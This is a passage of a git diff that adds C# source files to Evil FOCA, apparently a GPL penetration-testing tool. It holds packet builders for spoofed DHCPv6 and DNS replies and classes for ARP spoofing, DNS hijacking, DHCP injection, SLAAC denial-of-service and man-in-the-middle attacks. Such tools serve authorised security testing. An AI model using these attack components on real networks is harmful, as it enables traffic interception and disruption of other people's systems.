this.Options.Add(DHCPv6OptionCode.ServerIdentifier, new DHCPv6Option() + { + Option = DHCPv6OptionCode.ServerIdentifier, + Length = 14, + Value = CreateServerIdentifierValue(mac) + } + ); + } + + public void AddIANAOption(IPAddress ip, byte[] IAID) + { + this.Options.Add(DHCPv6OptionCode.IANA, new DHCPv6Option() + { + Option = DHCPv6OptionCode.IANA, + Length = 40, + Value = CreateIANAValue(ip, IAID) + } + ); + } + public void AddDNSOption(IPAddress DNSIp) + { + this.Options.Add(DHCPv6OptionCode.DNS, new DHCPv6Option() + { + Option = DHCPv6OptionCode.DNS, + Length = 16, + Value = CreateDNSValue(DNSIp) + } + ); + } + + public void AddDomainSearchListOption(string[] domains) + { + DHCPv6Option opt = new DHCPv6Option(); + opt.Option = DHCPv6OptionCode.DomainList; + opt.Value = CreateDomainSearchListValue(domains); + opt.Length = (short)opt.Value.Length; + Options.Add(DHCPv6OptionCode.DomainList, opt); + } + + private byte[] CreateServerIdentifierValue(PhysicalAddress mac) + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + writer.Write((byte)0x00); // duid type + writer.Write((byte)0x01); // duid type + writer.Write((byte)0x00); // hardware type + writer.Write((byte)0x01); // hardware type + + writer.Write(DateTo4BytesString(DateTime.Now)); + writer.Write(mac.GetAddressBytes());//mac + } + return ms.ToArray(); + } + } + + private byte[] CreateDomainSearchListValue(string[] values) + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + foreach (var item in values) + writer.Write(item); + } + return ms.ToArray(); + } + } + + private byte[] CreateIANAValue(IPAddress ip, byte[] IAID) + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + writer.Write(IAID[0]); + writer.Write(IAID[1]); + writer.Write(IAID[2]); + writer.Write(IAID[3]); + + writer.Write(IPAddress.NetworkToHostOrder((int)32512)); // t1 + writer.Write(IPAddress.NetworkToHostOrder((int)65024)); // t2 + + writer.Write((byte)0x00); + writer.Write((byte)0x05); + writer.Write(IPAddress.NetworkToHostOrder((short)24)); // len + //// IP? + { + writer.Write(ip.GetAddressBytes()); + } + writer.Write(IPAddress.NetworkToHostOrder((int)131072)); // prefered lifetime + writer.Write(IPAddress.NetworkToHostOrder((int)131072)); // valid lifetime + } + return ms.ToArray(); + } + } + + private byte[] DateTo4BytesString(DateTime date) + { + DateTime time = DateTime.Parse("2000/01/01 00:00:00 GMT"); + return BitConverter.GetBytes(IPAddress.HostToNetworkOrder((Int32)date.Subtract(time).TotalSeconds)); + } + + private byte[] CreateDNSValue(IPAddress ip) + { + using (MemoryStream ms = new MemoryStream()) + { + using (BinaryWriter writer = new BinaryWriter(ms)) + { + //// IP + writer.Write(ip.GetAddressBytes()); + } + return ms.ToArray(); + } + } + } +} diff --git a/EvilFoca/DNS/IPv6Query.cs b/EvilFoca/DNS/IPv6Query.cs new file mode 100644 index 0000000..24833ae --- /dev/null +++ b/EvilFoca/DNS/IPv6Query.cs @@ -0,0 +1,89 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; + +namespace evilfoca.DNS +{ + class IPv6Query + { + public enum Type + { + Unknow, + Ipv6, + Ipv4 + + } + + byte[] raw; + public string name = string.Empty; + public byte[] nameDnsFormat; + public Type type = Type.Unknow; + public Int16 transID = 0x0; + + public IPv6Query(byte[] raw) + { + this.raw = raw; + ParsePacket(); + } + + private void ParsePacket() + { + MemoryStream ms = new MemoryStream(raw); + BinaryReader br = new BinaryReader(ms); + StringBuilder sbName = new StringBuilder(); + + List b = new List(); + + transID = br.ReadInt16(); + br.ReadBytes(10); + byte readedByte = 0x00; + do + { + readedByte = br.ReadByte(); + b.Add(readedByte); + + byte[] buff = br.ReadBytes(readedByte); + for (int i = 0; i < buff.Length; i++) + b.Add(buff[i]); + + sbName.Append(ASCIIEncoding.ASCII.GetString(buff) + "."); + + } while (readedByte != 0x00); + + nameDnsFormat = new byte[b.Count]; + for (int i = 0; i < b.Count; i++) + { + nameDnsFormat[i] = b[i]; + } + + sbName = new StringBuilder(sbName.ToString().Substring(0, sbName.ToString().Length - 2)); + + byte[] buffType = br.ReadBytes(2); + if (buffType[0] == 0x00 && buffType[1] == 0x1c) + type = Type.Ipv6; + else if (buffType[0] == 0x00 && buffType[1] == 0x01) + type = Type.Ipv4; + + name = sbName.ToString(); + } + } +} diff --git a/EvilFoca/DNS/IPv6Response.cs b/EvilFoca/DNS/IPv6Response.cs new file mode 100644 index 0000000..b8aba63 --- /dev/null +++ b/EvilFoca/DNS/IPv6Response.cs @@ -0,0 +1,141 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.Net; + +namespace evilfoca.DNS +{ + class IPv6Response + { + IPv6Query.Type type; + Int16 transID; + byte[] dnsName; + IPAddress ipv4; + + public IPv6Response(IPv6Query.Type type, Int16 transID, byte[] dnsName, IPAddress ipv4) + { + this.type = type; + this.transID = transID; + this.dnsName = dnsName; + this.ipv4 = ipv4; + } + + public byte[] GeneratePacket() + { + byte[] raw = null; + if (type == IPv6Query.Type.Ipv6) + raw = new byte[32 + dnsName.Length + 4 + 4 + 4]; + else + raw = new byte[32 + dnsName.Length]; + + using (MemoryStream ms = new MemoryStream(raw)) + { + using (BinaryWriter bw = new BinaryWriter(ms)) + { + bw.Write((Int16)transID); + bw.Write((byte)0x81); + bw.Write((byte)0x80); + + bw.Write((byte)0x00); + bw.Write((byte)0x01); + bw.Write((byte)0x00); + bw.Write((byte)0x01); //AnswerCount + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + + for (int i = 0; i < dnsName.Length; i++) + bw.Write((byte)dnsName[i]); + + if (type == IPv6Query.Type.Ipv6) + { + bw.Write((byte)0x00); + bw.Write((byte)0x1c); + } + else if (type == IPv6Query.Type.Ipv4) + { + bw.Write((byte)0x00); + bw.Write((byte)0x01); + } + + bw.Write((byte)0x00); + bw.Write((byte)0x01); + + // ANSWER + bw.Write((byte)0xc0); + bw.Write((byte)0x0c); + + if (type == IPv6Query.Type.Ipv6) + { + bw.Write((byte)0x00); + bw.Write((byte)0x1c); + } + else if (type == IPv6Query.Type.Ipv4) + { + bw.Write((byte)0x00); + bw.Write((byte)0x01); + } + + bw.Write((byte)0x00); + bw.Write((byte)0x01); + + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x0e); + bw.Write((byte)0x10); + + bw.Write((byte)0x00); + + if (type == IPv6Query.Type.Ipv6) + { + //length IPv6 + bw.Write((byte)0x10); + + //IPAddress + bw.Write((byte)0x00); + bw.Write((byte)0x64); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0x00); + bw.Write((byte)0xff); + bw.Write((byte)0xff); + } + else + //length IPv4 + bw.Write((byte)0x04); + + bw.Write((byte)ipv4.GetAddressBytes()[0]); + bw.Write((byte)ipv4.GetAddressBytes()[1]); + bw.Write((byte)ipv4.GetAddressBytes()[2]); + bw.Write((byte)ipv4.GetAddressBytes()[3]); + } + } + return raw; + } + } +} diff --git a/EvilFoca/Data/Attack.cs b/EvilFoca/Data/Attack.cs new file mode 100644 index 0000000..cf0ef4e --- /dev/null +++ b/EvilFoca/Data/Attack.cs @@ -0,0 +1,68 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace evilfoca.Data +{ + public enum AttackType + { + NeighborAdvertisementSpoofing, + ARPSpoofing, + DNSHijacking, + DHCPACKInjection, + DHCPIpv6, + DoSSLAAC, + InvalidMacSpoofIpv4, + SlaacMitm, + WpadIPv4, + WpadIPv6 + } + + public enum AttackStatus + { + Attacking, + Stopping, + Stop + } + + public abstract class Attack + { + public AttackStatus attackStatus; + public AttackType attackType; + + public Attack(AttackType attackType) + { + this.attackType = attackType; + this.attackStatus = AttackStatus.Attacking; + } + + public void Start() + { + this.attackStatus = AttackStatus.Attacking; + } + + public void Pause() + { + this.attackStatus = AttackStatus.Stopping; + } + + } +} diff --git a/EvilFoca/Data/BitReader.cs b/EvilFoca/Data/BitReader.cs new file mode 100644 index 0000000..d5c60a3 --- /dev/null +++ b/EvilFoca/Data/BitReader.cs @@ -0,0 +1,145 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; + +namespace evilfoca.Data +{ + public class BitReader : IDisposable + { + uint readData = 0; + int startPosition = 0; + int endPosition = 0; + + internal int InBuffer + { + get + { + return endPosition - startPosition; + } + } + + private Stream stream; + internal Stream BaseStream + { + get { return stream; } + } + + internal BitReader(Stream stream) + { + this.stream = stream; + } + + + void EnsureData(int bitCount) + { + int readBits = bitCount - InBuffer; + while (readBits > 0) + { + int b = BaseStream.ReadByte(); + if (b < 0) throw new Exception("Unexpected end of stream"); + readData |= checked((uint)b << endPosition); + endPosition += 8; + readBits -= 8; + } + } + + internal bool ReadBit() + { + return ReadLSB(1) > 0; + } + + internal int ReadLSB(int bitCount) + { + EnsureData(bitCount); + + int result = (int)(readData >> startPosition) & ((1 << bitCount) - 1); + startPosition += bitCount; + + if (endPosition == startPosition) + { + endPosition = startPosition = 0; + readData = 0; + } + else if (startPosition >= 8) + { + readData >>= startPosition; + endPosition -= startPosition; + startPosition = 0; + } + + return result; + } + + internal int ReadMSB(int bitCount) + { + int result = 0; + + for (int i = 0; i < bitCount; i++) + { + result <<= 1; + if (ReadBit()) result |= 1; + } + + return result; + } + + internal string ReadStringLSB() + { + int length = ReadByte(); + List stringBytes = new List(); + while (length != 0x00) + { + for (int i = 0; i < length; i++) + { + stringBytes.Add((byte)ReadLSB(8)); + }; + length = (byte)ReadByte(); + if (length != 0x00) + stringBytes.Add(0x2E); + } + + return System.Text.Encoding.ASCII.GetString(stringBytes.ToArray()); + } + + internal int ReadByte() + { + return ReadLSB(8); + } + + internal void Align() + { + endPosition = startPosition = 0; + readData = 0; + } + + public void Dispose() + { + if (this.stream != null) + { + this.stream.Flush(); + this.stream.Close(); + } + } + } + + +} diff --git a/EvilFoca/Data/BitWriter.cs b/EvilFoca/Data/BitWriter.cs new file mode 100644 index 0000000..befaa9a --- /dev/null +++ b/EvilFoca/Data/BitWriter.cs @@ -0,0 +1,136 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.Diagnostics; + +namespace evilfoca.Data +{ + public class BitWriter : IDisposable + { + uint data = 0; + int dataLength = 0; + Stream stream; + + internal Stream BaseStream + { + get { return stream; } + } + + internal int BitsToAligment + { + get + { + return (32 - dataLength) % 8; + } + } + + internal BitWriter(Stream stream) + { + this.stream = stream; + } + + internal void WriteBit(bool value) + { + WriteLSB(value ? 1 : 0, 1); + } + + internal void WriteByte(byte value) + { + WriteLSB(value, 8); + } + + internal void WriteInt16(Int16 value) + { + WriteLSB(value, 16); + } + + internal void WriteInt32(Int32 value) + { + WriteLSB(value, 32); + } + + internal void WriteString(string value) + { + string[] sp = value.Split('.'); + foreach (var item in sp) + { + byte[] array = System.Text.Encoding.ASCII.GetBytes(value); + WriteByte((byte)array.Length); + foreach (var i in array) + WriteByte(i); + } + + WriteByte(0x00); + } + + internal void WriteLSB(int value, int length) + { + Debug.Assert(value < 1 << length, "value does not fit in length"); + + uint currentData = data | checked((uint)value << dataLength); + int currentLength = dataLength + length; + while (currentLength >= 8) + { + BaseStream.WriteByte((byte)currentData); + currentData >>= 8; + currentLength -= 8; + } + data = currentData; + dataLength = currentLength; + } + + internal void WriteMSB(int value, int length) + { + Debug.Assert(value < 1 << length, "value does not fit in length"); + + int reversed = 0; + + for (int i = length - 1; i >= 0; i--) + { + reversed <<= 1; + reversed |= value & 1; + value >>= 1; + } + WriteLSB(reversed, length); + } + + internal void Align() + { + if (dataLength > 0) + { + BaseStream.WriteByte((byte)data); + data = 0; + dataLength = 0; + } + } + + public void Dispose() + { + if (this.stream != null) + { + this.stream.Flush(); + this.stream.Close(); + } + } + } + +} diff --git a/EvilFoca/Data/DHCPACKInjectionAttack.cs b/EvilFoca/Data/DHCPACKInjectionAttack.cs new file mode 100644 index 0000000..d9d0352 --- /dev/null +++ b/EvilFoca/Data/DHCPACKInjectionAttack.cs @@ -0,0 +1,39 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace evilfoca.Data +{ + class DHCPACKInjectionAttack : Attack + { + public string gateway; + public string dns; + public string MAC; + + public DHCPACKInjectionAttack(AttackType attackType, string gateway, string dns, string MAC) + : base(attackType) + { + this.gateway = gateway; + this.dns = dns; + this.MAC = MAC; + } + } +} diff --git a/EvilFoca/Data/DNSHijackAttack.cs b/EvilFoca/Data/DNSHijackAttack.cs new file mode 100644 index 0000000..5d155b2 --- /dev/null +++ b/EvilFoca/Data/DNSHijackAttack.cs @@ -0,0 +1,39 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; + +namespace evilfoca.Data +{ + class DNSHijackAttack : Attack + { + public string domain; + public IPAddress ip; + public int spoofsAttacks = 0; + + public DNSHijackAttack(string domain, IPAddress ip, AttackType attackType) + : base(attackType) + { + this.domain = domain; + this.ip = ip; + } + } +} diff --git a/EvilFoca/Data/Data.cs b/EvilFoca/Data/Data.cs new file mode 100644 index 0000000..e0ce6d0 --- /dev/null +++ b/EvilFoca/Data/Data.cs @@ -0,0 +1,370 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Threading; +using evilfoca.HTTP; +using PacketDotNet; +using SharpPcap.LibPcap; +using SharpPcap.WinPcap; + +namespace evilfoca.Data +{ + public enum Platform + { + Unknow = 0, + Windows = 1, + Mac = 2, + Linux = 3, + OpenBSD = 4, + Solaris = 5, + AIX = 6 + } + + public class Data + { + private object neighborLock = new object(); + public SynchronizedCollection stackPacketsFIFO = new SynchronizedCollection(); + public EventHandler NewNeighbor; + private WinPcapDevice device; + + public Settings settings = new Settings(); + private SynchronizedCollection attacks = new SynchronizedCollection(); + internal static SynchronizedCollection neighbors = new SynchronizedCollection(); + + + public static SynchronizedCollection SlaacReqList { get; private set; } + public static SynchronizedCollection WpadReqList { get; private set; } + public SynchronizedCollection ReconstructedPackets { get; private set; } + + + public Data() + { + SlaacReqList = new SynchronizedCollection(); + WpadReqList = new SynchronizedCollection(); + ReconstructedPackets = new SynchronizedCollection(); + } + + #region attacks_control_methods + + public void AddAttack(Attack attack) + { + attacks.Add(attack); + } + + public SynchronizedCollection GetAttacks() + { + return attacks; + } + + #endregion + + #region neighbors_control_methods + + public bool ExistsNeighbor(Neighbor neighbor) + { + return neighbors.Contains(neighbor); + } + + public bool ExistsNeighbor(PhysicalAddress physicalAddress) + { + return neighbors.Count(n => n.physicalAddress.Equals(physicalAddress)) > 0; + } + + + public void AddNeighbor(Neighbor neighbor) + { + + NeighborEventArgs ea; + + if (neighbor.physicalAddress == null) + throw new Exception("Neighbor without physical address"); + if (neighbor.physicalAddress.Equals(device.Interface.MacAddress)) + return; + lock (neighborLock) + { + + if (ExistsNeighbor(neighbor)) + { + Neighbor newNeighbor = GetNeighbor(neighbor.physicalAddress); + newNeighbor.Combine(neighbor); + ea = new NeighborEventArgs(newNeighbor); + ea.Tipo = NeighborOperacionTreeView.Actualizar; + NewNeighbor(newNeighbor, ea); + return; + } + + if (neighbor.GetIPs().Count == 0) + throw new Exception("Neighbor without ips"); + + neighbors.Add(neighbor); + ea = new NeighborEventArgs(neighbor); + ea.Tipo = NeighborOperacionTreeView.Añadir; + NewNeighbor(neighbor, ea); + + } + ReverseResolutionAsync(neighbor); // Resolucion de nombre a partir de IP + _CheckIfNeighborRoutesPackets(neighbor); + + } + + public void RemoveNeighbor(Neighbor neighbor) + { + neighbors.Remove(neighbor); + } + + public void RemoveNeighbor(PhysicalAddress physicalAddress) + { + for (int n = neighbors.Count - 1; n >= 0; n--) + { + Neighbor neighbor = neighbors[n]; + + if (neighbor.physicalAddress.Equals(physicalAddress)) + neighbors.Remove(neighbor); + } + } + + public Neighbor GetNeighbor(PhysicalAddress physicalAddress) + { + for (int n = neighbors.Count - 1; n >= 0; n--) + { + Neighbor neighbor = neighbors[n]; + + if (neighbor.physicalAddress.Equals(physicalAddress)) + return neighbor; + } + + return null; + } + + public IPAddress GetIPv4FromNeighbor(Neighbor neighbor) + { + for (int i = 0; i < neighbor.GetIPs().Count; i++) + { + if (neighbor.GetIPs()[i].GetAddressBytes().Length == 4) + return neighbor.GetIPs()[i]; + } + return null; + } + + public IPAddress GetIPv6FromNeighbor(Neighbor neighbor) + { + for (int i = 0; i < neighbor.GetIPs().Count; i++) + { + if (neighbor.GetIPs()[i].GetAddressBytes().Length == 16) + return neighbor.GetIPs()[i]; + } + return null; + } + + public Neighbor GetNeighbor(IPAddress ip) + { + for (int n = neighbors.Count - 1; n >= 0; n--) + { + Neighbor neighbor = neighbors[n]; + + for (int i = 0; i < neighbor.GetIPs().Count; i++) + { + if (neighbor.GetIPs()[i].Equals(ip)) + return neighbor; + } + } + + return null; + } + + public PhysicalAddress GetNeighborMAC(IPAddress ip) + { + foreach (Neighbor neighbor in neighbors) + { + if (neighbor.ExistsIP(ip)) + return neighbor.physicalAddress; + } + return null; + } + + public void CheckIfNeighborRoutesPackets(Neighbor n) + { + _CheckIfNeighborRoutesPackets(n); + } + + private void _CheckIfNeighborRoutesPackets(Neighbor n) + { + if (n == null) + return; + + IPAddress IpSrc = Program.CurrentProject.data.GetIPv4FromDevice(device); + if (IpSrc == null) + return; + + n.canRoutePackets = RouteStatus.Verifing; + EthernetPacket eth = new EthernetPacket(Program.CurrentProject.data.GetDevice().MacAddress, n.physicalAddress, EthernetPacketType.IpV4); + + IPAddress IpDst = IPAddress.Parse("8.8.8.8"); + eth.PayloadPacket = new IPv4Packet(IpSrc, IpDst); + eth.PayloadPacket.PayloadPacket = new TcpPacket((ushort)31337, (ushort)53); + + ((IPv4Packet)eth.PayloadPacket).UpdateIPChecksum(); + ((TcpPacket)eth.PayloadPacket.PayloadPacket).Syn = true; + ((TcpPacket)eth.PayloadPacket.PayloadPacket).UpdateTCPChecksum(); + + Thread t = new Thread(new ParameterizedThreadStart(CheckIfRouted)); + t.IsBackground = true; + t.Start(n); + Program.CurrentProject.data.SendPacket(eth); + } + + private void CheckIfRouted(object o) + { + // Timeout de 10 segundos hasta recibir el paquete de respuesta + System.Threading.Thread.Sleep(10000); + + if (o is Neighbor) + { + Neighbor n = (Neighbor)o; + if (n.canRoutePackets == RouteStatus.Verifing) + n.canRoutePackets = RouteStatus.CantRoute; + } + } + + #endregion neighbor_functions + + #region Utils_methods + + public IPAddress GetIPv6LocalLinkFromDevice(WinPcapDevice device) + { + if (device == null) + return null; + + foreach (PcapAddress address in ((WinPcapDevice)device).Addresses.Where(A => A.Addr.ipAddress != null && A.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6)) + { + if (address.Addr.ipAddress.IsIPv6LinkLocal) + return address.Addr.ipAddress; + + } + + return null; + } + + public IPAddress GetIPv4FromDevice(WinPcapDevice device) + { + foreach (PcapAddress address in ((WinPcapDevice)device).Addresses.Where(A => A.Addr.ipAddress != null && A.Addr.ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)) + { + return address.Addr.ipAddress; + } + + return null; + } + + public Sockaddr GetNetmaskFromIP(WinPcapDevice device, IPAddress ipAddress) + { + foreach (PcapAddress address in device.Addresses.Where(A => A.Addr.ipAddress.Equals(ipAddress))) + { + return address.Netmask; + } + + return null; + } + #endregion + + private void ReverseResolution(object oNeighbor) + { + Neighbor neighbor = (Neighbor)oNeighbor; + if (neighbor == null) + return; + + if (string.IsNullOrEmpty(neighbor.computerName)) + { + IList ips = new List(neighbor.GetIPs()); + foreach (IPAddress ip in ips) + { + try + { + Dns.GetHostEntry(ip); + } + catch + { + } + } + } + } + + internal void ReverseResolutionAsync(Neighbor n) + { + Thread t = new Thread(new System.Threading.ParameterizedThreadStart(ReverseResolution)); + t.IsBackground = true; + t.Start(n); + } + + #region Device_methods + + public void SetDevice(WinPcapDevice device) + { + this.device = device; + } + + public WinPcapDevice GetDevice() + { + return this.device; + } + + public void SendPacket(Packet p) + { + if (p == null) + return; + if (device == null) + return; + try + { + if (device.Opened) + device.SendPacket(p); + } + catch (SharpPcap.PcapException) + { + } + catch (Exception ex) + { +#if DEBUG + System.Windows.Forms.MessageBox.Show("DEBUG: Error enviando paquete: " + ex.Message); +#endif + } + } + + #endregion + + #region Utils + + public int GetImageNumberOS(Platform platform) + { + if ((platform == Platform.Unknow) || (platform == Platform.AIX) || (platform == Platform.Mac) || (platform == Platform.OpenBSD) || (platform == Platform.Solaris)) + return -1; + else if (platform == Platform.Windows) + return 9; + else if (platform == Platform.Linux) + return 10; + + return -1; + } + + + #endregion + } +} diff --git a/EvilFoca/Data/DhcpIPv6.cs b/EvilFoca/Data/DhcpIPv6.cs new file mode 100644 index 0000000..55fcf97 --- /dev/null +++ b/EvilFoca/Data/DhcpIPv6.cs @@ -0,0 +1,38 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; + +namespace evilfoca.Data +{ + class DhcpIPv6 : Attack + { + public IPAddress fakeDns; + public IPAddress fakeIPRange; + + public DhcpIPv6(AttackType attackType, IPAddress dns, IPAddress IPRange) + : base(attackType) + { + this.fakeDns = dns; + this.fakeIPRange = IPRange; + } + } +} diff --git a/EvilFoca/Data/DoSSLAACAttack.cs b/EvilFoca/Data/DoSSLAACAttack.cs new file mode 100644 index 0000000..9ba86d4 --- /dev/null +++ b/EvilFoca/Data/DoSSLAACAttack.cs @@ -0,0 +1,35 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace evilfoca.Data +{ + class DoSSLAACAttack : Attack + { + public Target t1; + + public DoSSLAACAttack(Target t1, AttackType attackType) + : base(attackType) + { + this.t1 = t1; + } + } +} diff --git a/EvilFoca/Data/InvalidMacSpoofAttackIpv4Attack.cs b/EvilFoca/Data/InvalidMacSpoofAttackIpv4Attack.cs new file mode 100644 index 0000000..953977c --- /dev/null +++ b/EvilFoca/Data/InvalidMacSpoofAttackIpv4Attack.cs @@ -0,0 +1,40 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net.NetworkInformation; + +namespace evilfoca.Data +{ + class InvalidMacSpoofAttackIpv4Attack : Attack + { + public Target t1; + public Target t2; + public PhysicalAddress invalidMac; + + public InvalidMacSpoofAttackIpv4Attack(Target t1, Target t2, AttackType attackType) + : base(attackType) + { + invalidMac = PhysicalAddress.Parse("FA-BA-DA-FA-BA-DA".ToUpper()); + this.t1 = t1; + this.t2 = t2; + } + } +} diff --git a/EvilFoca/Data/MitmAttack.cs b/EvilFoca/Data/MitmAttack.cs new file mode 100644 index 0000000..71255ff --- /dev/null +++ b/EvilFoca/Data/MitmAttack.cs @@ -0,0 +1,41 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; + +namespace evilfoca.Data +{ + /// + /// Clase generica para ataques de mitm. Independientemente si es para IPv4, IPv6, por ARP, o como sea... + /// + class MitmAttack : Attack + { + public Target t1, t2; + public byte[] prefix; + + public MitmAttack(Target t1, Target t2, AttackType attackType) + : base(attackType) + { + this.t1 = t1; + this.t2 = t2; + } + } +} diff --git a/EvilFoca/Data/Neighbor.cs b/EvilFoca/Data/Neighbor.cs new file mode 100644 index 0000000..45ad9c1 --- /dev/null +++ b/EvilFoca/Data/Neighbor.cs @@ -0,0 +1,191 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; + +namespace evilfoca.Data +{ + public class NeighborEventArgs : EventArgs + { + public Neighbor Neighbor; + public 